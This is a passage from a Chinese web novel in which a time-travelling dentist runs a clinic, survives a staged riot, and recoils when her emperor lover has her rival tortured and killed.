范氏大喜:“这是当然,您不晓得有些长舌妇嚼舌根,背地里说的多难听。只要能治好我娘,就是上刀山下火海,我也愿意。”
苏颜妍哑然失笑,刀山油锅,倒也不必如此。看来范氏真是受了不少磋磨。
她将病因细细讲与他们听:“老夫人这病,与他人不同之处在于,她是由畸形牙齿引起。你可以仔细观察,她的牙列拥挤,右侧切齿错位外凸,是不是?”
齐三郎与范氏面面相觑:“可是,牙齿怎么会造成口舌生疮?娘的牙齿以前就这样,如果是牙齿引起的,怎么会现在才出现这样的症状呢?”
苏颜妍示意小桃也上前观摩,给他们将道理掰碎讲开:
“畸形牙齿咬合不正,特别容易咬破口腔。”
她转头问齐老夫人:“老夫人,您是不是吃东西就会咬到自己?”
“啊,对对对。”齐老夫人连连点头。
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苏颜妍继续解释:“牙齿总是咬破皮肉,创口没得到及时清理,自然容易引发口疮。之所以治好又反复发作,正是因为这样。老夫人年轻时,身体抵抗力强,伤口愈合的快。现在年纪上去了,免疫力下降,创口久不愈合,新旧伤口相互感染,表现就是反复发作。”
一番话说的众人心服口服。
齐三郎道:“苏大夫,你说的太对了,细细想来,就是这个理儿。”
范氏急着问道:“那我娘可怎么办是好?”
苏颜妍起身给他们讲解道:
“老夫人现在这个年纪,不适合进行牙齿纠正。你们带专用牙膏回去,饭后,及时漱口刷牙,去除口腔残留异物,避免感染。出现新伤口,及时撒上研制的粉末,能有效抑菌,促进伤口愈合。只要坚持,老夫人必定不会再有口舌生疮之苦。”
听她的,包好的。
齐三郎一家感激涕零:“好好好,苏姑娘,不,苏医生,您真是神医啊。”
他们回去按苏颜妍交待的法子处理,齐老夫人的口疮果真不再复发了。
这事一传开,可算是让回春堂鲜花着锦,烈火烹油。
“唉,听说了吗?齐家老夫人那口舌生疮的怪病,回春堂的苏大夫,只用了一次,就给根治啦!”
“嘿哟,这么灵?我记得他们家济世堂就去了三四回,其他医馆也没少看诊。真是回春堂治好的?”
“那可不,都没花多少钱开方子。只带了苏大夫研制的牙膏和牙粉,听说回去用完,就痊愈了。”
“传言苏大夫幼时得菩萨点化,看来是真的啊。城里那么多大夫,行医超过三十年,居然都比不过一个年轻姑娘。嘿,有意思。”
“齐家有钱,找其他医馆诊治,给咱们大伙探了路。换成你我,哪有闲银各家试试。如今回春堂的大夫,又专业,收取的费用又少,以后看病,就认准回春堂。”
“这是活菩萨,仁医啊!大伙儿有福了!”
百姓的欢呼雀跃,是各家医馆的悲钟,断人财路如杀人父母,苏颜妍没有注意到,这隐于灿烈阳光下的阴影。
被苏颜妍改革狂风袭卷影响的医馆,又碎了几多杯盏。
“治病认准回春堂,好大的口气,好嚣张的气焰。这是准备公开与我们所有医馆为敌了吗?”脾气暴躁的陈掌柜满脸戾气。
与他对话的人头戴兜帽,声音冷冷:
“街上的百姓都说了,回春堂对待他们,态度好的不得了。比起去其他医馆让人白眼鄙视,他们就爱回春堂这种把他们当人的地方。”
陈掌柜拍桌子怒道:“现在一传十十传百,回春堂的名声踩着我们起来了。白老弟,你说气人不气人,哪有这样用下作手段的。林掌柜说的那个贵人,身份查到了没有?他还跟在姓苏的那丫头身边?”
戴兜帽的人眼中厉光闪过,他侧头看向窗外,光映照他半边脸,将他另外半边隐在影子中。
此人正是消失数日的白延琅!
他的手一下下敲着桌面,道:“已经托关系问了,最早传出说他身份贵重的是岐黄谷,依稀听说和宫里有点关系。”
“皇宫?新帝惯会藏锋敛锐,谁能瞒过他耍威风。当年的安南王和摄政王何等张扬,你看现今哪个还压在他头上?”陈掌柜半信半疑道。
“摄政王不是回京了?”
“回来的是镇南王,摄政王?那是老黄历。总归有新帝在,姓苏的丫头就算有靠山,也狂不了多久。咱们且等着瞧!”陈掌柜红着眼,恨恨地放话。
“再等下去,病人可全去回春堂了呐。”白延琅半眯着眼,仿佛不太适应光似的,重新往下扯了扯兜帽。
“哼,总有他们灰溜溜回来求我们的时候!”
既是墙头草,就别怨镰刀利!
38. 梦与念
当一个人做出了一番成就的时候,往往控制不住自己得意的心跳。
然后兴奋烧成沸腾的水汽,遮挡开拓的眼睛。
能抵御成功诱惑的人,少之又少,锦衣夜行,何等难耐。
苏颜妍只是一个普普通通的医学生,医馆改革的成功,不可避免让她膨胀。
开心、得意、成就感,各种正向的情绪让她变成一支曲子,哼唱在每个瞬间。
“我不应该搞技术,我应该搞文宣。我现在搞不好是块金子,正在闪闪发光!”苏颜妍翻阅最近的医馆流水,心下震惊又得意,忍不住嘀嘀咕咕起来。
短短三天,她名下的回春堂,已经接诊了一百多个人,接收了五十多位新学员!
收入更是提高到往常一整年的营业额度,要知道她可是沿用苏父的那种低收费标准,倘若按照其他医馆的价格,她能得到现在收入的三倍呢!
她梦想就是救治更多的人,现在她做到了。
她甚至更进一步,支撑了原主的家业,给她亲人提供了稳定长远的经济支持。
苏颜妍开心又快乐,晕陶陶直挺挺躺在床上,放松地进入梦乡。
梦中。
苏颜妍回到了自己的时代,重新成为学生,坐在教室里,听老师在讲台,说着龋病、患病率、发病率。
说着说着,又变幻成某位德高望重的大佬。
大佬盯着她,一声声考问她:“苏颜妍,你为什么学医?你的初心是什么?记不记得口腔科医师的职业道德职责?”
梦里的大佬变幻成无数张患者的脸,还是景朝古人版本的,追着苏颜妍不停地问:“你的初心呢?你的职业道德呢?回答…回答…”
梦里的苏颜妍不停地跑着,试图甩脱身后这群可怕的人。
大热天,她顶着一头冷汗从床上弹坐起,被这个吓人的梦惊得心脏砰砰打鼓。
什么丧尸围城·牙医梦境版,难道是祖师爷降灵了?这也太惊悚了,能不能请祖师爷自重啊?!
梦醒后的苏颜妍满脸郁卒,闷闷不乐。
萧景琮很是不解,她之前明明活力四□□神抖擞,怎么一觉起来萎靡不振啦?
他凑到苏颜妍身边坐下,用手肘顶了顶身侧的气鼓鼓趴趴人:“睡的太多了吗?你这会儿看上去像一条翻着肚皮的鱼。”
苏颜妍瞪他:“我还喘气呢,咬你哦。”
萧景琮作出一副怕怕的样子,逗的她露出笑颜。
她闷闷地说道:“午休睡得不好,做了一个特别特别可怕的梦。”
她给萧景琮重点讲了讲被患者(僵尸)追逐的紧迫与压力,把自己的猜测也讲给他听:“你说,是不是我的祖师爷给我托梦啦?他老人家是不是点我呢?”
“我最近是有点飘,被一时的成功冲昏了头脑。祖师爷在梦里让我记得自己的初心,全心全意为人民服务?”
她越说越笃定,唯物主义碎的稀巴烂。
毕竟她人都穿越了,遇到奇异难评的梦很难不多思多虑。
萧景琮重点全偏:“有我在,谁敢追你吓你?我揍不死他们!梦只是梦,在现实里,没有人可以越过我伤到你。”
霸气侧漏,不愧是皇帝。
苏颜妍无情吐槽:“好棒哦,要不然你去我的梦里揍人?”
人家说东他听西,过分。
萧景琮一秒脸红,结结巴巴道:“我…我去…去你梦里?”
苏颜妍敏锐眯眼,意味深长地说道:“哦?看样子有人在梦里,似乎做了什么关于我的坏事情?”
她口中吐出一个一个词语,存了心逗他,不一会儿就得到一个煮熟的虾米。
如果他们两人的对局是一场比赛,萧景琮从来溃不成军。
他讨饶道:“是之前去岐黄谷的时候,我做过这样的梦……”
曾经的梦里,有如月老点了他的额头。
他从那时起,对她有了明确的爱慕之情。
“…我在梦里与你相约白首,琴瑟和鸣。我沉醉梦中,又多么希望那不只是个梦…”
只梦里有你怎么能够。
苏颜妍听的心中柔软,萧景琮在她面前一向克制守礼,颇有君子古风。
她其实知道他肯定还有另一面,从日常服侍的侍从恭谨服帖的态度就能看得出。他的另一面或许强势冷厉,或许铁血独断,这些他从不曾在她面前表露。
唯一一次发脾气,还是岐黄谷救了她那次。
他对白延琅漠然的态度,完全不曾当成对手,完全视之为蝼蚁。
她知晓他的身份后也了然,皇帝么,天之子,这种性格是理所当然的。
但他从没有利用身份或者其它什么来胁迫她,从没真正给予她压力与负面情绪。
相反,他给她很多安全感,给她很多快乐。
这次也是。
她逗他,他从不耍滑头,真诚分享他的梦。
纯情的梦。
她又怎会忍心推开一个,连在梦中都温柔待她的人呢?
真诚是绵绵的雨,落在心湖,必定扬起波澜。心绪浮动,感性是醉人的美酒,苏颜妍心甘情愿醉一场。
她樱唇温香如花蜜,每一句说出口的话都带着甜意:“不用梦,不是梦,醒来有我,现实也有我。你我活生生的,有比梦更好更好的未来。”
“我的现在、未来,梦境、现实,都有你在,都是你在。”
她不吝于给出承诺,不害怕付出真心,因为眼前的人,值得她真心的欢喜。
萧景琮如同寻找花的蜂,融化在蜜里。
他们很自然的接吻,一下一下,缱眷如傍晚的烟霞,美好、浪漫。
苏颜妍纤手捂住萧景琮低垂的下半张脸,用力,把这颗热烘烘的脑袋向后推开。
萧景琮发出小狗不满时喉咙里会含糊出来的不爽音节“唔”,顺从她的力道与她隔开半臂距离。
苏颜妍喘息一阵,收回手,说回之前的话题:“总归我的梦有些玄乎,我想着,是不是最近业务扩张太快了,潜意识觉得不妥当。事情都是欲速则不达,太快了,容易垮。我想个法子收缩稳固一下吧,改革也不急于一时。”
萧景琮见她正色肃容,只好按捺如火如灼炽烈燃烧的心,作出一副满不在乎的表情:“收什么,一切有我,你就算不用我帮助,我人在你身边,就永远不会垮。你计划的好好的,没必要保守。我在呢。”
他勉强挤出几句正经话,说完就压不住沸腾的心,身体和心有自己的想法,控制不住往苏颜妍身上凑过去。
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他现在只想和她贴贴,嗅闻她带着药香的馨兰芳气,感受她软玉滑腻的柔嫩肌肤,亲亲她如蜜似糖的红唇粉舌。
于是,他的软磨硬泡,成功获得心上人的亲亲。
夏日的白昼,永恒漫长,将时间变成没有尽头的长线。
有情人却仍觉得韶光短。
由于回春堂太过深入人心,每日到访的人爆满,连分出到别处的传统医学部,李真和李善那边,也跟着一同忙碌起来。
患者盈门,可不全是好事。
他们怀揣着希望来,迫切期待着,疾病能在医生的辉光下,冰消雪融。
疾病伴随着的是如附骨之疽的疼痛、焦虑、折磨。
没有人喜欢这些,患者更是恨不得快一些、更快一些,让疾病远离。
回春堂已经多招了很多学徒,小桃也尽心尽力在医馆连轴转,面对这些满怀希望的病人,也救治不过来。
苏颜妍更是忙得不可开交。
来的人更多的天然信任医馆掌柜,回春堂现在是她当家,她不可避免的陷入需求的河岸,摆渡、摆渡。
“苏医生,帮帮我…”“救救我,苏大夫——”
祖师爷就算再进入她的梦里,把她教训一顿,她也不可避免被超出心理预期的超多人群惊呆,谁家好人一睁眼就是看不见头的无尽工作。
人太多啦!盛况空前也是一种负担啊喂!
患者盈门,不光是大夫的压力山大,等待看诊的人群中,躁动如同烈日暴晒过的苗木,干的透透,一点就着。
“是我先来的!你凭什么插队!”
“我家老爷子病的更重,大夫,先救人啊!”
等待伴随着煎熬,煎熬烧空人的理智,终将爆发冲突与愤怒。
苏颜妍就算安排全部医馆学徒疏通分散群众,但由于看病的人特别、特别多,一些跟风奔着“神医”名堂来的人,根本没弄清回春堂已经改革分离专科,其中有人并非牙疾,还是排着队等传闻中菩萨教授的“苏神医”救命。
人群吵嚷起来,噪声喧闹,苏颜妍的声音压根传不出去。
“不能让他们这样闹下去,太危险了,必须隔离他们。”
“苏姑娘,你说什么?我听不清楚!”小桃急出一头汗,焦躁地向苏颜妍身边挤过去,同时呼喝着:“都安静些!听苏大夫说话!”
人实在太多,苏颜妍陷在人组成的声浪里,怎么都按不下燥气,这阵势不对劲!真实的嘈杂乱归乱,要静默是一瞬间的事,就像人群某一刻被关上开关,经历过大教室集体课的人都知道这种“妖精时刻”。
可这会儿的回春堂,她和小桃已经尽力连同众多学徒安抚身边患者了,喧嚣不仅没有消失,反而越发大起声来。
仿佛有人专门挑起不安,点燃沉默的火种,誓要烧尽一切。
危险!
苏颜妍已经能肯定现在这阵仗不正常,嘈乱中有人压不住火气,起冲突了!
这要是打起架来,慌乱中最容易发生踩踏,要出人命的!
“住手!”苏颜妍惊怒交加,大喊一声——
就在她喊出声的那一瞬,门外强势涌进一众护卫,暴雨潮汐般浇灭暴动初燃的火苗!
萧景琮带着人进来了!
39. 乱局后的乱局
“把闹事的扔出去!医馆内留五人,其他一律清到门外,安排人手看着他们排队。有不满的,先抓起来,别让他们走人!”萧景琮声音冷且厉,跟随他强势进来的矫健护卫们很快清场。
他雷厉风行,控住场子,大步走到苏颜妍面前,双眼扫视她全身,确认她没有受到伤害后,才将提起的心放下。
苏颜妍一眼就看出他紧绷到即将崩断的情绪,立刻伸手握住他的手,用柔软舒缓的语气说:“我没事,没有受伤,也没有被冲撞。你来的非常及时,你总能在我最需要你的时候出现。谢谢你,景琮,在我身边陪我一会儿,陪我说说话,好吗?”
萧景琮半晌哼出一声僵硬的回音,狠厉的眼光扫视四周,室内十余人寂静无声,他顺从苏颜妍拉着他的力道,跟随她离开大厅,向后堂走去。
回春堂的后堂隔间,有一间已经成了两人约见的常用地。
萧景琮到了这里,憋了满腹的愤怒总算找到了出口,他开始抱怨:“每次我要你多带些人手,你都再三推脱。现如今,又一次差点出事故。颜妍,苏姑娘,苏神医,你能不能多看重你自己。倘若你出了什么意外……”
他说着说着俊脸笼上阴云,双目幽暗如冥火:“我不愿去想你有这种意外,所以,请不要让我不安,不要让我恐惧,不要让我时时刻刻揪着一颗心…我怕克制不住自己,将你困在牢笼。”
一如他金丝雀般的母后,天真无邪,明明可以自由游历天下,却甘愿为了爱囚于深宫。
失去羽翼的鹰隼何等悲哀,他不想苏颜妍也被迫丢失那些闪亮的梦想。
与柔软爱意同样迸发的还有以爱为名的控制欲、保护欲。
如同他的父皇待他母后一般,他也时时刻刻想将苏颜妍拢在翼下。
他的爱与恶欲激烈争斗,厮杀不休。
又在她将要受到伤害时,爆发出难以想象的念。
“你们已经情投意合了,带她回宫,给她盛大的婚礼。让她冠上皇后的权冕,酣睡在你的榻上。她永远在你能触及的地方,不会消失,无处可逃。为什么不呢?她独自在外,甚至不能保证安全,你放任是在害她!”
这恶念太过诱惑,已然要将他的理智烧成灰烬。
苏颜妍柔软的话是绵绵细雨,浇灭危险的念,催生新的生机。
“景琮,这次是我的错,没有提前做好预案,差点酿出恶果。幸亏有你,再一次保护我,让危险消失。我后面会听你的话,带足人手,保护自己。”
“你已经足够锋利、足够强大,是最坚固的盾,最安全的堡垒。”
“你看,我现在好好的在你面前呢。不要生气了,我的英雄。你已经是我生命中的神祇,精准拯救我一次又一次。我的心,现在为你在跳动。看着我,只看着我,别把心思分给其他人了,我的陛下。”
至少,别去针对那些上门求医惨遭算计,差点在暴乱中受伤的可怜病患们了。
她温声劝阻道:“给你的护卫们好好说一下,医馆禁武。查清楚是哪几个在搞事,剩下的不要追究了。”
萧景琮发出不满的哼声,苏颜妍不为所动,坚持和他对视,脸上是不变的温柔。
很好,她一点也不怕他。
萧景琮挫败地垂下睫毛,掩去眼中郁色。他抱住苏颜妍,将她的头按压在他肩上,双手拢紧。
他们的身体严密合抱在一起,紧的再不留一丝缝隙。
“不要总是那么好心,你已经付出了足够的悲悯与仁慈。你对待这些患者太好,让他们生出贪婪,妄图沾染更多的便宜。你定的药价太低,注定会在同行业引起不满。你每一步都踩在危险的边缘,你如果再不让我出面动用武力权势震慑,颜妍,你想象不到会有多少隐在暗处的鬼手蠢蠢欲动。”
萧景琮最了解那些吸食同类血泪爬上高位者,利益与权势向来纠缠不分,能染黑任何一个落入他们领域的人。
苏颜妍不同,她有种全然清透的灵光,各种让人耳目一新的手段底色,都是温的暖的。
她孤身只影能被这个世道折碎碾成泥,连骨带皮拆吞入腹。
但她是他心头的一轮明月,他愿意保她清白皎洁,愿意替她做尽黑暗中那些血雨腥风恐怖事。
他想月光落在他一人身上。
苏颜妍叹气,捏捏他紧绷脸,手划入他耳后发间,捧起这颗偏执脑袋:
“你说的都对,我感受到你想要保护我的心意。景琮,我确实不擅长去用最坏的想法假定别人的言行。这次确实有坏人,你要追究我是支持的。我也想知道他们因为什么要搞事。
可是,这次来求医的更多是无辜的人,请不要让遗憾成为他们头顶的阴云。”
“小人只会隐在暗处算计,他们不敢在你的威光下现身。有你在,他们成不了气候。”
萧景琮只会因苏颜妍燃起暴怒的火,苏颜妍也总能轻易平复萧景琮燃烧的心。
医馆现场已然恢复平稳,那些今日煽风点火妄图引发乱局的小人早就消失无踪,或许隐蔽在人群,或许趁乱已离开。
萧景琮没能顺势将人捉住砍头,十分不爽,启动手下鹰犬,去查遗留的任何蛛丝马迹。
就算他答应苏颜妍,不暴力对待这些在场的珍宝,他也有的是手段,用其他法子找出那些鬼影,一个个拖出来杀鸡儆猴。
能在皇帝身边跟着的,个顶个都是人才。
仅仅半日,暗卫就呈上调查分明的宗卷。
萧景琮的严查指令一出,整个暗卫营瞬时启动,如同一张无形的网,网罗住每个今日在场的人。暗中监视、观察,记录说出的每一句话、摸清见过的每一个人。
没有任何人能在这种天罗地网式清查下藏的住秘密。
现在只待萧景琮一声令下,无形的网就会收紧。
这张网,就是皇权。
苏颜妍结束忙碌又惊心动魄的一天,绷了许久的紧张疲惫爬满躯壳。
她还不能休息,屋里还有一位随时要暴走的大魔王级别的人物还在等着呢。
她给自己打气:“苏颜妍,你行的!”
让她康康是哪些不长眼的,来喷火龙跟前蹦跳搞事。太不知死活了。
竞争,多么正常;用点手段,可以理解。但,倘若这手段涉及人命,那可真是踩着她的底线摩擦。
对不住了,去大牢里忏悔去吧。
她深吸口气,推开萧景琮的房门。
出乎意料,没有想象中冷肃凝霜的压抑感,反而茶香清暖,有种说不上来的悠远平和。
萧景琮松弛靠坐,见她进来后,眉目舒展,冲她粲然一笑。
怪哉。
苏颜妍问:“真稀奇,你这样高兴。是找到做坏事的人啦?问没问他们,为什么这样做?”
萧景琮点点头,示意她坐过去,长手一伸,揽着她纤细的腰身靠在自己身边。
“一个你想象不到的人物。”他面上带着点奇异的神情,咧开的嘴里露出一点尖牙,狼一样
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。
苏颜妍恍惚幻视他是一头狩猎的野兽,正把咬断喉咙的猎物,拖曳到她面前,炫耀般展示。
她听他用平静到漠然的语气报出一个人名:“…白延琅。”
“这条漏网之鱼,转眼又给我潜藏回京。他是这次医馆暴乱事件的主谋,买通几个贪财之辈,想利用话术挑起争端,趁乱伤害你。”
苏颜妍望着他海一样的眼睛:“他现在在哪里?”
萧景琮一直对她有种病态般的关注与保护欲,他上次在岐黄谷就将白延琅打得不轻。
得知今日的事有白延琅掺和,苏颜妍就释然了。她自穿越就和白延琅争权,每一次,白延琅都没赢。
一个旧冤家的针对,比她预想的新对头的算计,给她的心理压力要小得多。
她也舒出一口气,问:“那你送他进大牢了吗?这种情况可以直接关他,不用提供证据去告他了吧?”
恶意竞争,挑唆寻衅,放到现代也能板上钉钉进局子。
在这里有萧景琮,打一顿让他吃牢饭,关了十年八年,也算是狠狠报复他了。
萧景琮还是那副轻缓舒展的样子,显得心情很好:“关?没有必要。抓到他,拷问完,我让暗卫直接处理了。”
苏颜妍眉心一跳,为他的用词:“处理?”
怎么处理?这话说的和处理鸡鸭似的,人也能用处理这种词?
“拷问完就杀了。”萧景琮轻快地说道:“他有心伤你,我容他不得。我让人把他扔乱葬岗了,是不是很解气?”
他说完笑弯了眼,满脸都是欢喜与讨好,似乎对这个结果做礼物很是得意。
苏颜妍如坠冰窟。
白延琅在她看来,是一个标准的恶人,小人。他忘恩负义,面对恩师一朝有难,不思回报,先一步落井下石。他多次与苏颜妍发生明面冲突,利益争抢,甚至动手伤人。
他如果被关进牢狱,吃一辈子牢饭,苏颜妍都不觉得过分。或者他又做尽了坏事,触犯了律法,被判死刑,她也不会为他说一句可惜。
偏偏他死在萧景琮手里。
原因是他再次试图冒犯她,而她的男朋友,景朝的天子,恰好拥有高于法的权利。
苏颜妍无法接受。
事实上白延琅也没能接受,他只觉得自己在设法获取应有的一切,报复心中的仇人。
他被苏颜妍身边的男人报官搜捕,藏头蒙面如同阴沟里的老鼠,躲躲闪闪,好不容易重新获取林有仁的信任,利用回春堂改革的漏洞给苏颜妍找点茬。
一点点推波助澜,鼓动病人家属长时间等待的焦躁爆发,出点乱子,最好让这些人受点伤。
负面舆情会马上传出,回春堂发展的势头自然也就停滞,他就有机会重新抢回一切,重掌医馆。
哪知千算万算,算不到萧景琮降维打击,天网一收,他无处可藏,落入觳中。
比追踪捕捉刑讯更让他惊恐的是,这些人对他的态度,如同草芥。
苏颜妍只不过是一阶草民,哪里请得起这样的人手!她身边的男人身份非同寻常,他太大意,踢到铁板了!
白延琅临死前,他凄楚潦倒的童年,被苏南星收留教授医学的日子,憧憬接手医馆的愿望,师父突然失踪被林有仁挑起的野心,对苏颜妍苏夫人有愧疚到怨恨的心情……
他最后一个念头,居然是“小师妹千方百计赶走我,驱虎吞狼,日后又能有什么好下场呢……”
他死不瞑目!
40. 左右为难
人死如灯灭,只余袅袅白烟。
白延琅的死亡并没有给偌大的城池和众多的百姓造成半点影响。
一个生命的分量又重如石坠,沉沉压在苏颜妍的心头。
一连几日闷闷不乐,就连苏夫人也看出不妥。
她满目担心问道:“妍娘,医馆是有什么棘手的事吗?怎么这几天你都闷闷不乐的,也不着急早早去工作了。你有心事可以和娘说一说,娘虽然不懂得你经营医馆的事,帮你分担一些不好的情绪,娘也舒心。”
苏颜妍心间郁郁,她能说什么?
说那个你和父亲相处十多年的前任学徒,曾视若亲子后反目成仇的白延琅,前几日死无葬身之地了。
知晓这样一个爱恨纠葛的熟人出事,苏夫人这样柔软良善的性格,又怎么能受得了呢?
更别说下令杀人的是她认定的女儿的心上人,真相沉重,携着血色腥臭,穿透心与心的链接桥梁,成为无法言喻的隔阂。
她也只能勉强挤出一丝微笑,安抚苏夫人:“娘,我没事,就是前些天太累了,在家休整一段时间。等我养精蓄锐,过两天满血复活,又是一条好汉。”
至少,缩在家里重构安全感,暂时不去面对那位始作俑者,也避免他们两人关系恶化。
她的三观现在无法接受一位杀伐随心的古代君王,也不能接受自己的另一半手染鲜血。
说她伪善也好,圣母也罢,她过不了心里那一关。
她惧怕随时见血的屠刀,惧怕一个手握至尊权限、生杀予夺的刽子手。
苏颜妍可以用模棱两可的言辞糊弄苏夫人,这种话术和躲避挡不开萧景琮。
萧景琮满头雾水,满脸疑惑。
从他迅速解决回春堂差点暴乱这事件后,他原本满是欢喜,自得又一次英雄救美,且展示了自身的权势与手腕。
可是,苏颜妍的表现没有像他想象中的那样,欣喜、崇拜,或者更进一步的迷恋。
明明一开始,他们谈得好好的,他有表明珍惜她的心声,她也回应了他的情感啊。
为什么等他将危险的萌芽扼杀后,没有得到她更多的赞扬反馈呢?
而且连续几天,苏颜妍都不再见他。
医馆不去,门也不出,他递的拜帖,一张不落全数退回,也没给他一个合理的借口。
他不明白这是为什么。
萧景琮追爱的范本少的可怜。
他父皇和母后是一对怨偶,母亲渴望父亲的关注,父亲从不曾平等对待,以至于他的母亲郁郁而终。
他汲取教训,把苏颜妍放在心上,尊重她,绝不勉强她。她想振兴医馆,他支持;她亲力亲为,他理解。
他自认做得很好。
他的义兄对待袁因那女人,事事关心,帮她摆平乱摊子,甚至为了挽回感情冲冠一怒为红颜。
他比义兄做得好。
他想不出苏颜妍躲着他的理由,再三等而不得,他按捺不住一腔相思,闯进苏家宅院。
苏颜妍披着一件薄衫,长发散在身后,趴在妆镜前emo。
没有心情化妆,没有心情吃喝玩乐,没有心情去继续拼事业。
她如同陷入沼泽迷雾的鹿,惊惶四顾,进退无路,找不到出口,也寻不到归途。
她一会儿想着恋爱时两人贴心的交谈,一会儿忧郁日后萧景琮身份的隐雷,恨不得自己失忆,只沿用一套人生逻辑,好轻松地活下去。
萧景琮就像一阵飓风,哐的一声携着风声雨声,闪电雷鸣一路火花地闯进来。
“苏颜妍,你躲我三天!你到底怎么了,能不能好好给我说清楚?!我刚刚帮了你,你怎么能就这样过河拆桥,你把我当什么?”
萧景琮一番控诉,惊得苏颜妍张口结舌。
老天,这人可真能给她网罗罪名,说的她和负心人似的,又是躲人又是过河拆桥的。
明明是他把她吓得不轻,怎么反倒是他自己开始委屈上了?
苏颜妍再也维持不住丧丧的表情,拢住薄衫拍案而起:“萧景琮,你敢吼我!!!”
她脸上忧郁的表情还带着余韵,愤怒的火苗灼烧出眼角的水珠。乍一看,是一副被气到哭泣的无辜样子。
萧景琮瞬时消了火气,满腹委屈散的比风还快,化为怜惜无措:“对不起,是我太大声了。我看不到你,太心急了,没有要凶你的意思。你在家一直不出门,是身体哪里不舒服吗?我让太医过来给你诊一下脉,你想要什么吃的用的?我给你送来。”
这傻子。苏颜妍心中一酸,刺刺的,麻麻的。
他为什么就不能是一个坏的更彻底的人呢?
这样合她心意,偏偏又无法改变,真叫她绝望又难舍难分。
“我身体好着呢,能吃能喝能睡,能跑能跳,没出门是前几天太累了,要劳逸结合才长寿。你说是不是?”苏颜妍勉强打起精神,笑着说道。
萧景琮撇撇嘴,没信她的鬼话:“你根本就不擅长骗人,扯谎时敢不敢看着我的眼睛说?就算你太累了在家休息,连续拒绝我的拜帖,又是怎么回事?”
“医馆现在已经步入正轨,经过前几天的震慑,没有人敢再耍小花招来挑衅闹事。我安排人暗中接手巡视医馆,现在那里是全京城除了皇宫最安全的地方。是我哪里做的不够好,不合你心意吗?”
只要她说,他可以做得更好!
苏颜妍眼眶一酸,差点落下泪来。
她的完美狗狗男朋友,长在心上的意中人,怎么就转瞬成为嗜血狼王,还让她逮了个正着。
她能和帅□□狗搂搂抱抱同睡一室,她敢和沾过人血的野兽同进同出吗?
绝望……
又不能真和他说这些顾虑,他从小就接受的认知,观念,又怎么会轻易更改动摇?
苏颜妍只能嘴硬:“我就是太累了,你知道的,我之前赶得太急,一天要见多少人,解决多少事。天太热,可能就是一时燥住,精气神撑不住了。现在我已经好很多,不用看太医。”
萧景琮狐疑道:“那你为什么不见我?不是故意躲着我?”
“你…那个…”苏颜妍在他的注视下,眼神闪烁,头脑风暴,扯出一句:“我不想见你,我整个人乱七八糟的样子,让你看到多糗,你不要记得我糟糕的模样…”
她话烫嘴似的,违心的断断续续,仿佛变成少女羞涩难言,忍着害羞向情郎吐出真意。
萧景琮疑心顿消,连日的担忧、烦躁、恶念、自我压制,瞬时如决堤的水,一泄而空。
他怜惜抱住苏颜妍,手掌感受她软温的身躯,恨不得就这样将她变作一颗宝珠,含在嘴里,吞下肚中,直到地老天荒。
一场莫名其妙的疏离冷战,又莫名其妙和好如初,萧景琮感慨一句唯女子与小人难养,半是疑惑半是满足,抛之脑后。
只有苏颜妍知道,她的心中埋了一根看不见摸不着的刺,时不时的抽疼,撕破伪装平静的和睦局面,映出她按在深处的勉强与离心。
她挂着笑,却不再期冀二人的感情,不再向往久远的日后。
投身事业吧,医学永不背离,初心不变,是一条煌煌大道。<
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回春堂,苏颜妍再次出现,对待小桃等跟随学习的学徒们严格起来。
用小桃的话说:如果之前的苏姑娘是心软温柔的母亲,这会儿就是严厉强势的父亲。同样真心实意教导,给人的感觉却大不相同。
她私下和苏颜妍说小话:“苏姑娘之前待大伙儿太柔软,让他们凭空生出妄念。这会儿严格才好呢,那些不听话的,通通都淘汰掉,免得给你惹祸。”
苏颜妍看她鬼精鬼精的样子,不由失笑:“有咱们小桃盯着他们,还有人敢暗地打小算盘?放心吧,我吃不了亏,这些知识,他们想学就学,日后都会造福一方百姓。我不用这些知识牟利,他们学到也独占不了,成不了气候的。”
其实劳动人民都是很聪明的,他们虽然没有统一的理论指导,怎样洁齿、固齿,但他们有一套口耳相传的实践功夫。
比如很早就有点柳枝木,牙齿嚼开,粗糙的木纤维就是一把天然的牙刷,可以沾青盐清理牙齿上的污垢。
还有人准备了专门用来擦拭牙齿的清洁布,柔软不伤齿。
还有牙线、牙签等等,实用、方便。
她只不过是站在巨人肩膀上的普通人,侥幸比别人早窥见一点天光,这天光里也有这些人传下的巧思,她不会据为己有。
“我当然不觉得他们能阻碍你什么。”小桃耸肩道:“苏姑娘无偿教授他们知识,虽然没有开坛收他们当徒弟,却是有师徒之实的。他们敢明面上忤逆你,一人一口唾沫星子都能把他们淹死咯。”
她挑着柳叶儿般的眉头,神气活现说着:“我会学的比他们每一个都认真,成为苏姑娘你手下最出彩的学徒。他们当中有任何一个叛徒,我就出面把他们解决掉,绝不让他们有碰到你的可能!”
苏颜妍心下一动,水漾流转的明眸专注看着她,一字一字缓缓问道:“小桃,如果真有叛徒,你要怎么解决掉他们呢?如你所说,他们这样做,忘恩负义在前,你会想法子送他们进大牢吗?”
小桃皱着眉想了想,代入到她的语境中,表情渐渐凶神恶煞起来。
她恶狠狠地吐出回答:“我最恨被人欺骗,真让我遇见这样的人,我一口一□□活撕了他们。送进大牢里,难解我心头之恨!”
她像一头气急咬牙的狼崽子,看上去真要去和未知的敌人撕打一仗:“苏姑娘,难道真有谁背着你做坏事了?是谁,我要收拾他!”
苏颜妍头都要大了,一巴掌盖在她脸上,揉药团似的,将这张脸揉成怪异滑稽的样子,斩钉截铁道:“没有这样的人,你好好学习,加油干,我等着小桃大夫给我当后盾。好吗?”
萧景琮这种人一个就足够了,请不要再多一个了!
自从发现小桃也有邪气的思想,苏颜妍很是头痛了一阵,抓着她进行了不少思想教育。
“我们初心是救死扶伤,我们要尊重病人的人格与权力——”
小桃捂着耳朵,紧皱眉头,求饶道:“苏姑娘,我已经背了三百遍了,饶了我吧。请让我现在就去前堂救死扶伤,我保证对待他们,像对待我异父异母的亲兄弟姐妹一样!”
她很开心苏姑娘手把手一对一教导,可教导的全是什么原则什么规范,那可就不太美妙啦。
她从来没想到苏姑娘还有这样可怕的一面,压着她说教起来,比当年她偷趴在私塾窗边被那个老朽夫子捉住训教都吓人!
老夫子训教用的是戒尺,苏姑娘不用动手,从她嘴巴里蹦出来的每一个词都是鞭子,她浑身都颤抖着想逃离。
苏颜妍摇头:“朽木不可雕也。”
41. 女子本该选择不同的路
光学会医术,思想跟不上行动,就是瘸了条腿的人,走不远的。
